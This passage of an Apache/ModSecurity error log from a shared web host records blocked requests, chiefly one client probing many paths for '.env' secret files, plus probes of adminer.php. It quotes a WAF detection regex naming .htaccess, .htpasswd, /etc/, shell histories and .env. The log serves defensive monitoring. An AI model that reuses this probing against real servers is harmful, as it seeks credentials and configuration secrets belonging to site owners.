216.73.216.223:32826] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:18.913616 2026] [access_compat:error] [pid 648189:tid 648236] [remote 216.73.216.223:32826] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:18.970331 2026] [access_compat:error] [pid 646876:tid 647004] [remote 57.141.14.96:54713] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:18.970772 2026] [access_compat:error] [pid 646876:tid 647004] [remote 57.141.14.96:54713] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:18.984767 2026] [security2:error] [pid 646876:tid 647055] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/source/.env"] [unique_id "ai3zStyTkdrNlD40tSG07QAAAC8"] [Sat Jun 13 18:18:19.123575 2026] [security2:error] [pid 646876:tid 647026] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/sources/.env"] [unique_id "ai3zS9yTkdrNlD40tSG07wAAABI"] [Sat Jun 13 18:18:19.184246 2026] [security2:error] [pid 648189:tid 648397] [client 47.79.206.65:34892] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 65.206.79.47.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "an-ime.com"] [uri "/index.php"] [unique_id "ai3zS1WSojQL4F7upKBtiAAAALE"], referer: https://www.google.com/ [Sat Jun 13 18:18:19.226645 2026] [access_compat:error] [pid 648189:tid 648256] [remote 57.141.14.45:54854] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:19.226962 2026] [access_compat:error] [pid 648189:tid 648256] [remote 57.141.14.45:54854] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:19.247289 2026] [access_compat:error] [pid 646876:tid 646937] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9kZXZpY2UvaW5wdXQvaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDYvZGV2aWNl [Sat Jun 13 18:18:19.247589 2026] [access_compat:error] [pid 646876:tid 646937] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9kZXZpY2UvaW5wdXQvaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDYvZGV2aWNl [Sat Jun 13 18:18:19.261281 2026] [security2:error] [pid 646876:tid 647029] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/Sources/API/.env"] [unique_id "ai3zS9yTkdrNlD40tSG08QAAABU"] [Sat Jun 13 18:18:19.316046 2026] [security2:error] [pid 648189:tid 648262] [remote 216.73.216.223:32826] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 223.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "homs.co.ke"] [uri "/adminer.php"] [unique_id "ai3zS1WSojQL4F7upKBtiwAAvSg"], referer: https://homs.co.ke/?action=adminer&p=Ly92YXIvc29mdGFjdWxvdXMvb2NhcnQ0 [Sat Jun 13 18:18:19.398937 2026] [security2:error] [pid 646876:tid 647095] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/spearmint/.env"] [unique_id "ai3zS9yTkdrNlD40tSG08gAAAFc"] [Sat Jun 13 18:18:19.537311 2026] [security2:error] [pid 646876:tid 647013] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/spikes/config-material-app/.env"] [unique_id "ai3zS9yTkdrNlD40tSG08wAAAAU"] [Sat Jun 13 18:18:19.675749 2026] [security2:error] [pid 646876:tid 647085] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/SpotiApps/.env"] [unique_id "ai3zS9yTkdrNlD40tSG09QAAAE0"] [Sat Jun 13 18:18:19.685231 2026] [access_compat:error] [pid 646876:tid 646944] [remote 57.141.14.17:65124] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:19.685671 2026] [access_compat:error] [pid 646876:tid 646944] [remote 57.141.14.17:65124] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:19.787417 2026] [access_compat:error] [pid 646876:tid 646958] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ3L2RldmljZS9kcml2ZXIvbW9kdWxlL3NlY3Rpb25z [Sat Jun 13 18:18:19.787758 2026] [access_compat:error] [pid 646876:tid 646958] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ3L2RldmljZS9kcml2ZXIvbW9kdWxlL3NlY3Rpb25z [Sat Jun 13 18:18:19.815700 2026] [security2:error] [pid 646876:tid 647035] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/src/__tests__/__fixtures__/instanceWithDependentSteps/.env"] [unique_id "ai3zS9yTkdrNlD40tSG0-AAAABs"] [Sat Jun 13 18:18:19.853740 2026] [security2:error] [pid 646876:tid 646941] [remote 17.246.23.102:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 102.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zS9yTkdrNlD40tSG0-gAAbD4"] [Sat Jun 13 18:18:19.961578 2026] [security2:error] [pid 646876:tid 647017] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/src/__tests__/__fixtures__/typeScriptIntegrationProject/.env"] [unique_id "ai3zS9yTkdrNlD40tSG0_AAAAAk"] [Sat Jun 13 18:18:20.079669 2026] [access_compat:error] [pid 648189:tid 648250] [remote 57.141.14.47:27802] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:20.080109 2026] [access_compat:error] [pid 648189:tid 648250] [remote 57.141.14.47:27802] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:20.100999 2026] [security2:error] [pid 646876:tid 647045] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/src/__tests__/__fixtures__/typeScriptProject/.env"] [unique_id "ai3zTNyTkdrNlD40tSG0_gAAACU"] [Sat Jun 13 18:18:20.237754 2026] [access_compat:error] [pid 646876:tid 646920] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvc3Vic3lzdGVtL2lucHV0MC9jYXBhYmlsaXRpZXM= [Sat Jun 13 18:18:20.238218 2026] [access_compat:error] [pid 646876:tid 646920] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvc3Vic3lzdGVtL2lucHV0MC9jYXBhYmlsaXRpZXM= [Sat Jun 13 18:18:20.238897 2026] [security2:error] [pid 646876:tid 647134] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/src/__tests__/__fixtures__/typeScriptVisualizeProject/.env"] [unique_id "ai3zTNyTkdrNlD40tSG1AAAAAH4"] [Sat Jun 13 18:18:20.278121 2026] [access_compat:error] [pid 646876:tid 646949] [remote 57.141.14.68:43046] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:20.278380 2026] [access_compat:error] [pid 646876:tid 646949] [remote 57.141.14.68:43046] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:20.377848 2026] [security2:error] [pid 646876:tid 647014] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/src/add-auth/express/.env"] [unique_id "ai3zTNyTkdrNlD40tSG1CAAAAAY"] [Sat Jun 13 18:18:20.398194 2026] [access_compat:error] [pid 646876:tid 646912] [remote 57.141.14.56:54644] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:20.398711 2026] [access_compat:error] [pid 646876:tid 646912] [remote 57.141.14.56:54644] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:20.454607 2026] [access_compat:error] [pid 648189:tid 648261] [remote 57.141.14.2:51623] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:20.455044 2026] [access_compat:error] [pid 648189:tid 648261] [remote 57.141.14.2:51623] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:20.652940 2026] [security2:error] [pid 648189:tid 648462] [client 185.177.72.9:62788] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/src/assembly/.env"] [unique_id "ai3zTFWSojQL4F7upKBtvgAAAOw"] [Sat Jun 13 18:18:20.729915 2026] [security2:error] [pid 646876:tid 646910] [remote 17.22.245.33:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 33.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zTNyTkdrNlD40tSG1DQAAah8"] [Sat Jun 13 18:18:20.761716 2026] [access_compat:error] [pid 648189:tid 648245] [remote 57.141.14.13:43109] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:20.761995 2026] [access_compat:error] [pid 648189:tid 648245] [remote 57.141.14.13:43109] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:20.767641 2026] [security2:error] [pid 648189:tid 648310] [remote 17.246.23.184:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 184.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zTFWSojQL4F7upKBtwwAA21g"] [Sat Jun 13 18:18:20.784645 2026] [access_compat:error] [pid 646876:tid 646897] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50Ni9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZS9wb3dlcg== [Sat Jun 13 18:18:20.784914 2026] [access_compat:error] [pid 646876:tid 646897] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50Ni9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZS9wb3dlcg== [Sat Jun 13 18:18:20.787857 2026] [security2:error] [pid 648189:tid 648375] [client 185.177.72.9:62788] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/src/character-service/.env"] [unique_id "ai3zTFWSojQL4F7upKBtxQAAAJs"] [Sat Jun 13 18:18:20.900962 2026] [access_compat:error] [pid 648189:tid 648268] [remote 57.141.14.44:62705] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:20.901418 2026] [access_compat:error] [pid 648189:tid 648268] [remote 57.141.14.44:62705] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:20.928157 2026] [security2:error] [pid 648189:tid 648373] [client 185.177.72.9:62788] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/src/client/mobile/.env"] [unique_id "ai3zTFWSojQL4F7upKBtzwAAAJk"] [Sat Jun 13 18:18:21.063994 2026] [security2:error] [pid 648189:tid 648394] [client 185.177.72.9:62788] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/src/core/tests/dotenv-files/.env"] [unique_id "ai3zTVWSojQL4F7upKBt1gAAAK4"] [Sat Jun 13 18:18:21.186612 2026] [security2:error] [pid 646876:tid 646880] [remote 17.241.219.57:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 57.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zTdyTkdrNlD40tSG1FQAAcwE"] [Sat Jun 13 18:18:21.200407 2026] [security2:error] [pid 648189:tid 648360] [client 185.177.72.9:62788] 